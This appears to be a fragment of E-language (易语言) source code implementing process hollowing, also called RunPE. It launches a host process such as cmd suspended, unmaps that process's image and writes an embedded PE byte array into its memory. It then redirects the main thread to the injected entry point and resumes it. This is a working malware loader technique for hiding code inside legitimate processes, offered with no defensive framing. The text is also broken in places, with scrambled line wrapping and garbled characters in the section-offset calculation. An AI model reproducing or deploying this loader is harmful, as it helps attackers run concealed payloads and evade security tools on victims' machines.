连续赋值 (0, 运行信息.进程ID, 运行信息.进程句柄, 运行信息.主线程ID, 运行信息.主线程句柄
)
如果真 (欲执行的程序 =
{ })
返回 (假)CopyMemory_idh (idh, 欲执行的程序 [1], Len_idh (idh))
如果真 (idh.e_magic ≠ 23117
)
返回 (假)CopyMemory_inh (inh, 欲执行的程序 [idh.e_lfanew + 1], Len_inh (inh))
如果真 (inh.Signature ≠ 17744
)
返回 (假)si.cb = Len_si (si)
如果真 (是否为空 (窗口显示方式
) =
假 且 窗口显示方式 ≠ 2
且 窗口显示方式 > 0
且 窗口显示方式 ≤ 6
)
si.dwFlags = 1

si.wShowWindow =
多项选择 (窗口显示方式, 0, 5, 2, 3, 8, 7
)
如果真 (CreateProcess (0,
选择 (是否为空 (外壳程序路径
),
取cmd路径 (), 外壳程序路径
) +
选择 (是否为空 (命令行
) 或 命令行 =
“”,
“”,
“ ” + 命令行
), 0, 0, 0, 4, 0, 0, si, 运行信息
) = 0
)
返回 (假)context.ContextFlags = 65538
如果真 (GetThreadContext (运行信息.主线程句柄, context
) = 0
)
ClearProcess (运行信息
)
返回 (假)ReadProcessMemory (运行信息.进程句柄, context.Ebx + 8, addr, 4, 0)
如果真 (addr = 0
)
ClearProcess (运行信息
)
返回 (假)
如果真 (ZwUnmapViewOfSection (运行信息.进程句柄, addr
) = 0
)
ClearProcess (运行信息
)
返回 (假)ImageBase = VirtualAllocEx (运行信息.进程句柄, inh.OptionalHeader.ImageBase, inh.OptionalHeader.SizeOfImage, 12288, 4)
如果真 (ImageBase = 0
)
ClearProcess (运行信息
)
返回 (假)WriteProcessMemory (运行信息.进程句柄, ImageBase, 欲执行的程序 [1], inh.OptionalHeader.SizeOfHeaders, 0)lOffset = idh.e_lfanew +
Len_inh (inh
)
计次循环首 (inh.FileHeader.NumberOfSections, i
)
CopyMemory_ish (ish, 欲执行的程序
[lOffset �
�� (i - 1
) × 40 + 1
],
Len_ish (ish
))

如果真 (ish.PointerToRawData + 1 >
字节集_取长度 (欲执行的程序
))

ClearProcess (运行信息
)
返回 (假)
WriteProcessMemory (运行信息.进程句柄, ImageBase + ish.VirtualAddress, 欲执行的程序 [ish.PointerToRawData + 1], ish.SizeOfRawData, 0)
VirtualProtectEx (运行信息.进程句柄, ImageBase + ish.VirtualAddress, ish.VirtualSize,
Protect (ish.characteristics
), addr
)
计次循环尾 ()WriteProcessMemory2 (运行信息.进程句柄, context.Ebx + 8, ImageBase, 4, 0
)context.Eax = ImageBase + inh.OptionalHeader.AddressOfEntryPoint
SetThreadContext (运行信息.主线程句柄, context
)ResumeThread (运行信息.主线程句柄
)
如果真 (等待程序运行完毕
)
WaitForSingleObject (运行信息.进程句柄, -1
)
如果真 (是否为空 (运行信息
))
CloseHandle (运行信息.主线程句柄
)
CloseHandle (运行信息.进程句柄
)返回 (真)TerminateProcess (运行信息.进程句柄, 0
)CloseHandle (运行信息.主线程句柄
)CloseHandle (运行信息.进程句柄
)连续赋值 (0, 运行信息.进程ID, 运行信息.进程句柄, 运行信息.主线程ID, 运行信息.主线程句柄
)